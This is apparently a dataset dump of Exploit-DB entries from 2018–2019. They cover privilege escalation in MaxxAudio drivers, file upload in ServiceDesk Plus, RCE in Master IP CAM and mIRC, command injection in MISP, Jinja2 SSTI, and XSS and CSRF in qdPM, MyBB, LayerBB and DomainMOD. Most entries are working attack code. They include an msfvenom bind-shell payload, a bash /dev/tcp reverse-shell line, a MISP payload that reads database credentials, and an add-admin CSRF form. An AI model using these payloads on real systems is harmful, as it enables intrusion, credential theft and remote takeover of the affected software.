QLWD/code_shield huggingface dataset:
标题: MaxxAudio Drivers WavesSysSvc64.exe 1.6.2.0 - Local Privilege Escalation EDB-ID: 46416 CVE: 2019-15084 类型: LOCAL 平台: WINDOWS 发布日期: 2019-02-19 漏洞利用脚本: # Exploit Title: MaxxAudio Drivers WavesSysSvc64.exe File Permissions SYSTEM Privilege Escalation 
# Google Dork: 
# Date: 2/18/2019
# Exploit Author: Mike Siegel @ml_siegel
# Vendor Homepage: https://maxx.com
# Software Link: 
# Version: 1.6.2.0 (May affect other versions)
# Tested on: Win 10 64 bit
# CVE : CVE-2019-15084

MaxxAudio licenses their driver technology to OEMs and is commonly installed on Dell Laptops (and others) as part of other driver installations.

MaxxAudio drivers version 1.6.2.0 install with incorrect file permissions. As a result a local attacker can escalate to SYSTEM level privileges.

Dell PSIRT has acknowledged the issue and advises updating to a supported driver.

Proof of concept:

1. Validate incorrect permissions.

C:\Users\user> sc qc wavessyssvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wavessyssvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\Users\user>icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F)
                                                   NT AUTHORITY\SYSTEM:(I)(F)
                                                   BUILTIN\Administrators:(I)(F)
                                                   BUILTIN\Users:(I)(RX)
                                                   ACME\user:(I)(F)
                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\user>

2. Create payload

Create a service payload in msfvenom, transfer to victim:

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe

3. Overwrite file.

The file will be in use, you cannot directly overwrite. However you can move the file and replace.

C:\Users\user> move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"
C:\Users\user> copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"

4. Reboot the system.  Then use netcat or telnet to connect back to 127.0.0.1:4444

C:\WINDOWS\SYSTEM32>whoami
whoami
nt authority\system

 
Additional information:

This file is embedded in Realtek audio drivers. Dell has since removed this version from their site but it appears to have been released in January 2017.
hash is as follows: cbd0c592c59db94d27ad89db2db7432c0c40db69198d9174eb1bb4bd04e12213 *WavesSysSvc64.exe URL: https://www.exploit-db.com/exploits/46416
标题: Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload EDB-ID: 46413 CVE: 2019-8394 类型: WEBAPPS 平台: JSP 发布日期: 2019-02-18 漏洞利用脚本: # Exploit Title: Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10012 - arbitrary file upload
# Date: 18-02-2019
# Exploit Author: Dao Duy Hung (duyhungattt@gmail.com)
# Vendor Homepage: https://www.manageengine.com/products/service-desk/
# Software Link: https://www.manageengine.com/products/service-desk/download.html?opDownload_indexbnr
# Version: 9.4 and 10.0 before 10.0 build 10012
# Tested on: SDP 10.0 build 10000
# CVE : CVE-2019-8394

Detail:
In file common/FileAttachment.jsp line 332 only check file upload extension when parameter 'module' equal to 'SSP' or 'DashBoard' or 'HomePage', and if parameter 'module' is set to 'CustomLogin' will skip check file upload extension function and upload arbitrary file to folder '/custom/login' and this file can access directly from url 'host:port/custom/login/filename' . An authenticated user with minimum permission (ex: guest) can upload webshell to server.

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
Host: localhost:8080
Content-Length: 508
Accept: */*
Origin: http://localhost:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----aaa
Referer: http://localhost:8080/DashBoard.do
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,vi;q=0.8
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; JSESSIONID=66716A38326AE43058F4A71FCF4E1E42; JSESSIONIDSSO=6970EB5659C20DFF0CF5015D9C91448E; sdpcsrfcookie=ec189770-d1aa-4db3-9a97-36f4ab3db380
Connection: close

------aaa
Content-Disposition: form-data; name="sspsetup"

Attach
------aaa
Content-Disposition: form-data; name="module"

CustomLogin
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.jsp"
Content-Type: text/html

This is shell content
------aaa
Content-Disposition: form-data; name="hmtlcontent"


------aaa-- URL: https://www.exploit-db.com/exploits/46413
标题: qdPM 9.1 - 'search[keywords]' Cross-Site Scripting EDB-ID: 46399 CVE: 2019-8390 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-18 漏洞利用脚本: ===========================================================================================
# Exploit Title: qdPM 9.1 - 'search[keywords]' XSS Injection
# CVE: CVE-2019-8390
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
  using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - XSS
# Parameters : search[keywords]
# Attack Pattern : e"><script>zi2u(9111)</script>
# POST Request : http://localhost/qdpm/index.php/configuration
===========================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

search[keywords]=e"><script>zi2u(9111)</script>&search_by_extrafields[]=9 URL: https://www.exploit-db.com/exploits/46399
标题: Master IP CAM 01 3.3.4.2103 - Remote Command Execution EDB-ID: 46400 CVE: 2019-8387 类型: WEBAPPS 平台: CGI 发布日期: 2019-02-18 漏洞利用脚本: # Exploit Title: Master IP CAM 01 Remote Command Execution
# Date: 09-02-2019
# Remote: Yes
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2019-8387

import sys
import requests


if len(sys.argv) < 3:
 print "[-] Usage: python MasterIpCamRCE.py <ip> <cmd>"
   print "[-] Example: python MasterIpCamRCE.py 192.168.1.54 'wget http://192.168.1.55:4444/$(id)'"
   exit(1)

host = sys.argv[1]
command = sys.argv[2]
page = [
  "bconf.cgi",
  "ddns_start.cgi",
  "getddnsattr.cgi",
  "getinetattr.cgi",
  "getnettype.cgi",
  "getupnp.cgi",
  "getwifiattr.cgi",
  "getwifistatus.cgi",
  "inetconfig.cgi",
  "iptest.cgi",
  "listwifiap.cgi",
  "p2p.cgi",
  "paraconf.cgi",
  "scanwifi.cgi",
  "setadslattr.cgi",
  "setddnsattr.cgi",
  "setinetattr.cgi",
  "setwifiattr.cgi",
  "upnp_start.cgi",
  "wifimode.cgi",
  "wifitest.cgi",
  ]
for x in page:
 url = "http://"+host+"/cgi-bin/"+x+"?cmd=`"+command+"`"
 #url = "http://"+host+"/cgi-bin/"+x+"?action=`"+command+"`"
 print "[*] Attack on "+x
 print "[+] Sending the payload"
 r = requests.get(url)
 if r.status_code == 200:
  print "[+] Exploit Success"
  break URL: https://www.exploit-db.com/exploits/46400
标题: Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload EDB-ID: 46405 CVE: 2019-8404 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-18 漏洞利用脚本: ===========================================================================================
# Exploit Title: Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload
# Dork: N/A
# Date: 10-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/webinessinventory/files/
# Software Link: https://sourceforge.net/projects/webinessinventory/files/
# Version: 2.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: CVE-2019-8404
# Software Description: Small stock inventory managment application for web.
===========================================================================================
# POC:
# Sign in to admin panel. then go to the inventory tab.
  Switch to the products tab and create a new product.
  In product image, click the browse button and select a file.
  https://i.hizliresim.com/OvrOOn.jpg
  When you save the product, the script is loaded with the error file to
the server.
  for example service unvailable
  https://i.hizliresim.com/zjGqD4.jpg
  path to the file we uploaded
  https://i.hizliresim.com/XMbpp5.jpg
# http://localhost/[PATH]/runtime/ProductModel/[FILE]
=========================================================================================== URL: https://www.exploit-db.com/exploits/46405
标题: MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module EDB-ID: 46401 CVE: 2018-19908 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-18 漏洞利用脚本: #-*-coding:utf-8-*-
#
# Exploit Title: SQL command execution via command injection in STIX module
# Date: 2019-17-02
# Exploit Author: Tm9jdGlz
# Vendor Homepage: https://www.misp-project.org/
# Software link: https://www.misp-project.org/download/
# Version: 2.4.90 - 2.4.99
# Tested on: 2.4.97
# CVE: CVE-2018-19908
# 
# Use this payload as stix filename

def encode_data(data):
    from base64 import b64encode
    from urllib.parse import quote_plus

    b64Data = b64encode(data.encode("utf-8"))
    urlEncode = quote_plus(b64Data)

    return urlEncode


def generate_payload(SQLRequest):
    payload = 'MISPPath="../../";'\
            'MISPPDB="$MISPPath/app/Config/database.php";'\
            'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
            'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
            'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
            'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
    return payload.format(SQLRequest)

def generate_exploit(SQLRequest, **kwargs):
    options = {
            "inputFile" : kwargs.get("input_file", "data"),
            "outputFile" : kwargs.get("output_file", "data2"),
            "payload" : encode_data(generate_payload(SQLRequest))
    }

    exploit = "; echo '{payload}'>{inputFile};"\
            "python3 -c 'import urllib.parse;"\
            'fd=open(\\"{outputFile}\\",\\"w\\");'\
            'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
            "fd.close()';"\
            "base64 -d {outputFile}>{inputFile};"\
            "sh {inputFile};"\
            "rm {inputFile} {outputFile} #".format(**options)
    return exploit

def main():
    SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
    print(generate_exploit(SQLRequest))

if __name__ == "__main__":
    main() URL: https://www.exploit-db.com/exploits/46401
标题: qdPM 9.1 - 'type' Cross-Site Scripting EDB-ID: 46398 CVE: 2019-8391 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-18 漏洞利用脚本: ===========================================================================================
# Exploit Title: qdPM 9.1 - 'type' XSS Injection
# CVE: CVE-2019-8391.
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
  using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - XSS
# Parameters : type
# Attack Pattern : tasks_columns_list<script>bKtx(9366)</script>
# GET Request: http://localhost/qdpm/index.php/configuration
===========================================================================================
GET
/qdpm/index.php/configuration?type=tasks_columns_list<script>bKtx(9366)</script>
HTTP/1.1
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */* URL: https://www.exploit-db.com/exploits/46398
标题: Jinja2 2.10 - 'from_string' Server Side Template Injection EDB-ID: 46386 CVE: 2019-8341 类型: WEBAPPS 平台: PYTHON 发布日期: 2019-02-15 漏洞利用脚本: '''
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341


// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.


//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2


@app.route("/")
def index():
            username = request.values.get('username')
            return Jinja2.from_string('Hello ' + username).render()


if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}


Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}


How to prevent it:
Never let the user provide template content.
''' URL: https://www.exploit-db.com/exploits/46386
标题: mIRC < 7.55 - 'Custom URI Protocol Handlers' Remote Command Execution EDB-ID: 46392 CVE: 2019-6453 类型: REMOTE 平台: WINDOWS 发布日期: 2019-02-18 漏洞利用脚本: # Exploit Title: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers
# Date: 18/02/2019
# Exploit Author: https://twitter.com/proofofcalc/
# Vendor Homepage: https://www.mirc.com
# Software Link: https://www.mirc.com/get.php
# Version: < 7.55
# Tested on: Windows
# CVE : CVE-2019-6453

RCE through URI protocol handlers on mIRC <7.55 (CVE-2019-6453)
===============================================================

Severity: High

mIRC has been shown to be vulnerable to argument injection through its
associated URI protocol handlers that improperly escape their parameters.
Usingavailable command-line parameters, an attacker is able to load a remote
configuration file and to automatically run arbitrary code.

Because mIRC doesn't use any kind of sigil such as -- to mark
the end of the argument list, an attacker is able to pass arguments to mIRC
through a irc:// link and execute arbitrary code by loading a custom
mirc.ini
from an attacker-controlled Samba file server. Please note that ircs://
works
the same way.


PoC
===

The proof of calc requires three files: mirc.ini, calc.ini and poc.html.
We assume a Samba file server is running on the attacker's side. For the
sake of the example, the following pieces of code assume it is running on
host 127.0.0.1 (i.e. replace 127.0.0.1 by your own server's address in
the following files to try this out).

mirc.ini
========

mirc.ini is a custom configuration file that should be located at
C:\mirc-poc\mirc.ini
on the file server.

[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini

calc.ini
========

calc.ini is a remote script file that should be located at
C:\mirc-poc\calc.ini on the
file server.

[script]
n0=on *:START: {
n1=  /run calc.exe
n2=}

poc.html
========

Just visiting poc.html should work assuming mIRC is set as the default
handler for the
irc:// URI scheme and the browser does not encode the payload. Depending
on the browser
and your configuration, you might still get a prompt (not the case on
Firefox).

<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' />

Affected versions
=================

This PoC runs for mIRC <7.55.

You can trigger the PoC on Edge 42.17134 (last preview version) and
Firefox 64.0.2
(last release). It doesn't work on Chrome because the way Chrome handle
URI protocols
(URI is encoded before being passed to the application).

References
==========

Further explanation (including proof of concept code):

Write-up:
https://proofofcalc.com/cve-2019-6453-mIRC/

PoC:
https://github.com/proofofcalc/cve-2019-6453-poc

mIRC changelog:
https://www.mirc.com/whatsnew.txt

Authors
=======

Baptiste Devigne (Geluchat) and Benjamin Chetioui (SIben) URL: https://www.exploit-db.com/exploits/46392
标题: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery EDB-ID: 46384 CVE: 2018-14575 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-15 漏洞利用脚本: # Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575


1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
 

2. Proof of Concept:

Cross-Site Scripting

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts

- Reply to a post and change the subject to the following  <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts


Cross-Site Request Forgery

<html>
 <body>
  <!-- Restore deleted threads & posts by thread/post ID -->
  <div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
  <script type="text/javascript">
   $("#thread_1").popupMenu();
  </script>
 </body>
</html>

3. Solution:
Update to 1.1.4 URL: https://www.exploit-db.com/exploits/46384
标题: LayerBB 1.1.2 - Cross-Site Request Forgery (Add Admin) EDB-ID: 46379 CVE: 2018-17996 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17996


1. Description:
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.
 

2. Proof of Concept:

<!-- Create Admin User -->  
<html>
  <body>
 <form action="http://localhost/[path]/admin/new_user.php" method="POST">
        <label for="username">Username</label>
        <input name="username" id="username" value="test" type="text">
        <label for="password">Password</label>
        <input name="password" id="password" value="password123" type="password">
        <label for="email">Email Address</label>
        <input name="email" id="email" value="test@localhost.co" type="text">               
        <label for="usergroup">Usergroup</label><br>
        <select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
        <input name="create" value="Create User" type="submit">
    </form>
  </body>
</html>
<!-- Create Admin User End -->


3. Solution:
Update to 1.1.3 URL: https://www.exploit-db.com/exploits/46379
标题: DomainMOD 4.11.01 - 'category.php CatagoryName, StakeHolder' Cross-Site Scripting EDB-ID: 46374 CVE: 2018-20011 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20011

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/category.php page and inject a javascript XSS payload in
CatagoryName, StakeHolder fields "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88 URL: https://www.exploit-db.com/exploits/46374
标题: DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting EDB-ID: 46373 CVE: 2018-20010 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20010

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider-account.php page and inject a javascript XSS
payload in username field "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88 URL: https://www.exploit-db.com/exploits/46373
标题: DomainMOD 4.11.01 - 'assets/add/dns.php' Cross-Site Scripting EDB-ID: 46375 CVE: 2018-19914 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19914
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
 /assets/add/dns.php page and inject a javascript XSS payload in
Profile Name & notes fields "><img src=x onerror=alert("XSSed-By-Abdul-Kareem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/87 URL: https://www.exploit-db.com/exploits/46375